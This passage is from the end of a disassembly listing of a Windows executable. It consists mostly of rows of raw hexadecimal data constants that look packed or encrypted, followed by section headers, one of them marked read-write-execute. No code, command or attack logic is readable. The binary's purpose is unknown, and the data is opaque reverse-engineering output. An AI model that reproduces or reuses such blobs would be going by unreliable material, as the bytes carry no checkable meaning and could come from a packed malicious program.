35711D29h, 8A02D88Ah, 0CA27909Ch, 28D17365h, 0BAC71987h dd 0FA7949F7h, 0DCB87352h, 883D9566h, 0CB6363A8h, 6B96C648h dd 0B691840Fh, 0CB22B6Ah, 6D190116h, 1C94C62Ah, 0F7A658F1h dd 0D7B3C189h, 93D5D60Ah, 0EF03EB2Fh, 9857473Fh, 4E4B6EA1h dd 32675A11h, 0B144B22Bh, 0BBFA426Eh, 0DD09C73Bh, 6FD0B8B9h dd 0BA14BE75h, 0CFB5C957h, 0F4186AABh, 28FDC420h, 0DC61B877h dd 5EB563B8h, 0A52ED84Eh, 46C86542h, 840F5F4Ch, 0B0E284FFh dd 0F06A5309h, 0F460F177h, 72FAF4B6h, 43AB15E0h, 0FE71705Ah dd 4F5CAD6Eh, 7633FAD6h, 8EAC63BBh, 0CA0F7AA9h, 79DA8631h dd 9A1E88B1h, 6E18EAAh, 86474420h, 7FEC7A8Eh, 22B2859Ch dd 0DB1A8EDEh, 7B85DC15h, 2AAA1D03h, 628CBEC3h, 0D8D5FB28h dd 0ECCA64D6h, 0DD4CF6DEh, 6539B2D6h, 0AF3BE2B5h, 4874C84Ah dd 50DED2CEh, 2F0906FFh, 8786C31Bh, 1145ACD3h, 0B317D960h dd 427A7896h, 348AD451h, 2A89C484h, 0BB32448Bh, 103BDADh dd 0D0866F82h, 89EFE01Fh, 0BC7C3A40h, 0D82A64DDh, 180AB478h dd 0B05999Ch, 86D3CDF2h, 0A907AE9h, 0BB6EF241h, 7E04E852h dd 79B308AAh, 4F78AC68h, 1ED22CBCh, 11B9A541h, 0B857E1B5h dd 0AEB7B892h, 368E30A9h, 0E09C71A9h, 3C1A0D3Ah, 0D1300676h dd 8C24C615h, 4E03088Bh, 520E2EE4h, 5ADE54DCh, 1A63248Ah dd 8547A68Ah, 0B7E19D8Dh, 1D9F08C5h, 7FD11FA8h, 0E48F28A1h dd 254354A1h, 0A3206FEAh, 91DB9BBDh, 1DD17528h, 2F112D35h dd 9089EB8Bh, 2ABC1CD5h, 0C042D38Fh, 0F151139Fh, 9CA76C74h dd 0C6639A35h, 44951D9Bh, 1274D625h, 5C0E71E5h, 384E8EC0h dd 0C612A1C2h, 2F352AD5h, 0BF2211F6h, 422742F9h, 0C3A9E4CBh dd 0D2F2F2DBh, 3D11987Ah, 658D4293h, 0EAA63EF7h, 0B659FD7Fh dd 192CFE8Fh, 7130566h, 0C1E28D95h, 3D94C925h, 91CDD587h dd 9AFCE4CDh, 266BFDF7h, 1D6ED8F0h, 0D1689ACh, 4EDB13EDh dd 76A172F2h, 0D32A2882h, 0EBA0800Fh, 7798973Bh, 12EB960Eh dd 686263BFh, 11567D86h, 339EB49Eh, 8D87013Dh, 591A9089h dd 91EC45B3h, 518A0EA2h, 34A61842h, 0B55EBF06h, 44D9899h dd 0F8B6AFB6h, 5215A74Ch, 0F6EF81D2h, 57A7C90Bh, 823B5123h dd 0C47F005Dh, 2C2B340h, 88DBE25h, 7D856B99h, 0DE8183F7h dd 631A8339h, 5385C3F5h, 67DDF1B5h, 6ACED251h, 586A2C7h dd 7C2FB8D6h, 19C3F694h, 75AC063Bh, 2A8CD8FFh, 82F7DBA6h dd 2FB623F9h, 0B586ECCAh, 0E11BF9ADh, 0C59052C6h, 4ECCCD58h dd 0DDFBB956h, 9495F00Eh, 37521C5Fh, 6DA4F204h, 0BFBFA5F2h dd 136A742h, 0A4327F21h, 6FEB9C50h, 0E7DD6B4Dh, 6584E42Ah dd 0D5CD131Fh, 3AFEC4F0h, 0A39A2936h, 0AA79FBD1h, 0B48BDBCAh dd 0E90B6542h, 8EDE2067h, 0C6B67C0Ch, 0DA5529C9h, 0B98CE8B0h dd 6CACFCFFh, 21CDE1EEh, 7FFBF1D4h, 0EEF7789Ch, 6DB92867h dd 656900FEh, 0BD7D03FAh, 1DB0A0E1h, 4E897938h, 9ED8407Eh dd 0E0D6010Dh, 46263D59h, 0C6DECD27h, 4D4CD4A5h, 0A6162C39h dd 787B5B43h, 4EFFBA8Fh, 0FF725700h, 0E663BEA7h, 3E3701E1h dd 8B3D38BCh, 49E7741h, 0BE177BE3h, 339ECCE0h, 0EB1A9DFCh dd 39A0956Fh, 6C227AFFh, 0F2D99D01h, 6F72D49Eh, 0B7249888h dd 266A3187h, 40509FD4h, 64D033F7h, 180895A8h, 68F978F2h dd 0F7D617F9h, 0DE382B34h, 0A6A8549Dh, 0D71A955Ah, 378F88F0h dd 0BC532412h, 0E48840E7h, 0ED8472Fh, 0B2D4F0C6h, 1C89B260h dd 0F525A71Ah, 59F2EFC7h, 0B9988372h, 73242502h, 0BAA7AEAAh dd 0FDDD6CF6h, 7EC0885Dh, 4B67B3EEh, 90923B08h, 6AA40DC2h dd 0B4B822E2h, 6F9B8E92h, 0AF137A3Bh, 3F1F1FDFh, 13EE7C6Fh dd 0D9DE5740h, 7C7B22A7h, 0F1E2D3D7h, 1D42423Ch, 0A7658EEh dd 0AF11D560h, 4124CBE3h, 0D918A9F3h, 0C087DF1h, 0DAC6F8F1h dd 4419560Dh, 0EA8DBDDCh, 5DD861C0h, 7480F839h, 0CBB1D5C9h dd 17D9C75Fh, 0AD298041h, 223396C3h, 0F78ADE01h, 64093DB0h dd 6ED5D9FAh, 0E5A258F6h, 0FBA498A7h, 2F5D4540h, 0B7AE769Fh dd 430031A8h, 27C75A0Ch, 784611CBh, 15003C31h, 0FF37F814h dd 0AD7FB3C9h, 25F51372h, 0D5BABDAh, 972BBE5Dh, 19C1944h dd 3397B9D0h, 16DA6517h, 0B0AE34D7h, 27A4E5D8h, 9DDA1FC9h dd 1FC24428h, 859AE68Eh, 69B11D92h, 1E39A5B9h, 4A143A97h dd 380052B0h, 1F876108h, 47A3D8F3h, 5499D49Ch, 2BC9EE92h dd 3747733h, 20A8A49Eh, 0FE6DC90Fh, 0D634A2F6h, 20860537h dd 58400105h, 0CCCB2557h, 12AD67F7h, 0B8ACEB4Dh, 181116B8h dd 38E8FF8Eh, 83CC65A3h, 0B5DC91BCh, 0A4C583F9h, 6DE05FD3h dd 36FAAAD5h, 0EDBCE96Dh, 3B17C15Eh, 1B85D324h, 2163E7E6h dd 85E3FD8Ch, 0C0E397DFh, 6871AA7Eh, 1E52E6EEh, 29D087AFh dd 8E89DA46h, 7D91CE6Bh, 584F45BAh, 5411D079h, 347539C7h dd 3CB85DB1h, 0A172D51Bh, 9ACBB381h, 0D560D6Ah, 0FC6343FFh dd 2A035040h, 9F30430Bh, 6E22EB17h, 4225D2AAh, 0D90417E0h dd 3E0F6479h, 0CCF7B518h, 0F08CD8C3h, 595129BBh, 7DA4F49Fh dd 425CAA0Dh, 0F7BDD350h, 0A962E95Ah, 46335BAh, 49C3608Ch dd 15F9F346h, 0F10D8692h, 1CEDBC5Eh, 0EA1E19B7h, 0C636CF3Ah dd 0FA1B8180h, 0DBB84794h, 0CB319C04h, 1064734Ch, 9CE8EFB6h dd 23EE0B1Eh, 19B4ED3Eh, 0E1CCF8CEh, 0F6E868DAh, 7B20DD10h dd 991400EFh, 0B77072AAh, 0C2089668h, 9C7AAF38h, 1C7BC5C5h dd 31E0796Ch, 5456D7ADh, 0EFEF6B2Ah, 0D24CBC14h, 45EFEBB3h dd 99109F7Fh, 84F6E75Fh, 5CE8B1C9h, 556C6B8Ah, 0B99941ADh dd 81E5CACBh, 0E277B65Eh, 0D933E96Fh, 3940EFh, 0E2DB3B88h dd 0E504304Ch, 0DCB83236h, 2C0C5B49h, 5DDC64ACh, 18B4AC6Fh dd 0D6A2EBB2h, 24685C12h, 0F7BAE861h, 0C59C123Fh, 0EB1AC77h dd 1AF0A16Fh, 0B182EA6Ah, 0DF8E351h, 1889F0F6h, 0D7EE975Bh dd 4D8EC3D5h, 5DD1F944h, 1BB77424h, 0D617C086h, 9534C9C5h dd 911C10ADh, 0E71F4F2Fh, 128C477Eh, 0A1FCD789h, 0CEAED5ADh dd 58929F4Dh, 5D9B296h dd 630B68FFh, 0CE6FEF05h, 87A26309h, 6C364F62h, 332AFD36h dd 927B9B5h, 3F99C23Bh, 9307FC29h, 0CA35F438h, 1172FE4Bh dd 9C1C14BDh, 4A71F645h, 9C574B38h, 431E7A40h, 3917BC2Fh dd 64119113h, 0AE8F7FBBh, 0D3F33137h, 0F9C96E69h, 714B6F3Ch dd 0B3CC6008h, 0BFEBD78Ch, 0D646F43Fh, 0CD64A9Ah, 126785C2h dd 0E7E8BA16h, 31B2C7Eh, 89F0C0E2h, 0C137CC6Dh, 0D491CDEEh dd 0AD97EEC6h, 3DB44D09h, 0AF9BFB8Ah, 570D6991h, 8C407A6Ah dd 0E8DD7CA6h, 49ECBF7Ch, 0EC4A84CAh, 0DAC37ACFh, 0C8BD2D9Bh dd 3B005BB3h, 6933DC3Eh, 5D5D6D9Bh, 0A81C929h, 7C71F1BEh dd 0EC9DC04Dh, 0DE95E5EDh, 6CE258FFh, 0BC2BA87Ch, 47DD6D3Bh dd 578C0552h, 111CC2D8h, 0F6F6CEE4h, 10D51D93h, 0A2842E52h dd 3FAB805Fh, 32C7E79Fh, 0A31C3C99h, 98864C6Dh, 1F7F27Dh dd 34E1525Ch, 71370DDh, 0A67D7BB7h, 88E2ECAFh, 18DE6DD8h dd 1C1332CEh, 885A8B9Bh, 1475ED55h, 4CC54565h, 0B575549Ah dd 58AD9424h, 8D68DED9h, 0A78759D0h, 64237A5Eh, 65853E6Ah dd 0AE643F51h, 599AF26Dh, 0A7935D87h, 65388727h, 6F619CCAh dd 85DEBD10h, 7D009357h, 98A98378h, 193018F2h, 43ED7BD9h dd 2E952DDDh, 65DB6D00h, 4527BC45h, 481F0783h, 6ACE9D38h dd 0EC3D1EDh, 0A4BC6D9Bh, 8EF78062h, 75A26C87h, 60CE16Fh dd 9354396h, 8157EDC6h, 7F31842Fh, 0AA0D4C97h, 88672230h dd 42A43EB3h, 0F697717Ah, 816FBEAEh, 1A6BEF63h, 16CDBEB8h dd 4589B9BCh, 1FD09044h, 0A0AFB967h, 682D30B6h, 66455E35h dd 0F841F81Eh, 66F4D89Eh, 805F1825h, 11F013F0h, 96CA6FDFh dd 1562AD88h, 541E2C11h, 0D20AA6AFh, 94950F15h, 374Eh dd 2BACAA70h, 7E6B31h, 0C8A72ACAh, 537D9555h, 1E26E95Eh dd 0C20411C3h, 58A9B4E7h, 5493A1CEh, 0C9E736CCh, 0F9DDB7CFh dd 96BDC67Ah, 30755F89h, 0B231024Ch, 0DD99061Ah, 2D7B300Dh dd 8C0F087Eh, 0D12B84FBh, 0E90315ABh, 12531F6Fh, 0A408612Ah dd 47CDEDF9h, 8918A34Eh, 39845029h, 0FEAFEAF8h, 6D794D0h dd 0C8F340EFh, 440940E5h, 1CEB12BBh, 87BC27EAh, 7C47E1Eh dd 2F875AEAh, 242C5D14h, 7B92DA02h, 0A2B7266Ch, 644297Fh dd 99599EE6h, 75059C8Bh, 0ADEA60EBh, 920D8864h, 7C224CAh dd 9E443F2Bh, 985DE994h, 92FD13Fh, 0B211E579h, 65F1AE26h dd 0E7DA44BCh, 0BC600C0Ch, 4833B83Ch, 2C181ECBh, 0DFF3E180h dd 0CEB5218Dh, 90527B62h, 0FD1236ECh, 36E55B3Ah, 0DC9008BBh dd 1BBF49AAh, 377F4747h, 0C09099EBh, 0AF8BF536h, 0F1E3A6B6h dd 3C367AF5h, 29640BB2h, 0F17091B1h, 4831B57Ch, 262FFEE3h dd 984ECE36h, 0D7241F6Ah, 291163B0h, 71773B39h, 6AAFEA18h dd 0D298B490h, 2AD4963Dh, 0B11FFDCCh, 0D8487463h, 44B964BDh dd 1AA661ABh, 402DAA94h, 0B128C700h, 2963705Fh, 0B178329Ah dd 0EA8B6E13h, 49FB01Bh, 0CA4A7C29h, 41F50429h, 0A2F86DC8h dd 0CF30A1A2h, 71F1B886h, 62718868h, 32F5F2A7h, 0B579DEA9h dd 11971608h, 0A9D562CCh, 0E4BA9F7Ch, 0A72EAEDFh, 0FB2674D4h dd 54974B9Ch, 3E219D63h, 99FE8CFDh, 9225D11Ah, 0F7A04960h dd 0A599CD37h, 2F8E5637h, 0F0A77D7Ch, 3346DD52h, 1917F600h dd 6F5D7DABh, 9F3E4485h, 5F3437CFh, 0DA01F966h, 71BE35D0h dd 47E2A314h, 3E5E5BC7h, 2224FB1Eh, 0EC4A6E9h, 5BEFF6D0h dd 0ABF15F2Ch, 0CC9F9B5Ch, 8D331C74h, 0CC07AA95h, 4A439160h dd 0CD71C41h, 5C6B3496h, 0BB0B67E7h, 39BFABAAh, 17659B4Dh dd 0B6611090h, 24074860h, 0BEDB02A2h, 0DA073BCEh, 5989842Fh dd 8E25061Dh, 0FA07B5A2h, 0A98B5852h, 33C54937h, 0C09A2934h dd 9796E039h, 0EAC9B213h, 145B2AD8h, 70983823h, 77B7CC92h dd 0CA8BA369h, 5DDD341Eh, 0ED3DEA39h, 64611AF1h, 0E97E4C3Dh dd 0B122EA5Ah, 0D6825712h, 0C542F51Ah, 1024C473h, 0A42E719Eh dd 0C62E22F9h, 49B149C0h, 0D9C24A60h, 6B24C121h, 8C3AF66h dd 969DE7FEh, 68567436h, 8C3CD5B5h, 3F715462h, 0FD7EC0BCh dd 127D5F74h, 8EA9DC3Ah, 1F038201h, 2A420F28h, 136AE059h dd 0AA936906h, 1ACEFDC6h, 0CE43861Fh, 80h dup(0) _data ends ; Section 5. (virtual address 00085000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00085000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _adata segment para public 'CODE' use32 assume cs:_adata ;org 485000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing align 2000h _adata ends ; Section 6. (virtual address 00086000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00086000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 486000h dd 80h dup(0) align 1000h _idata2 ends end start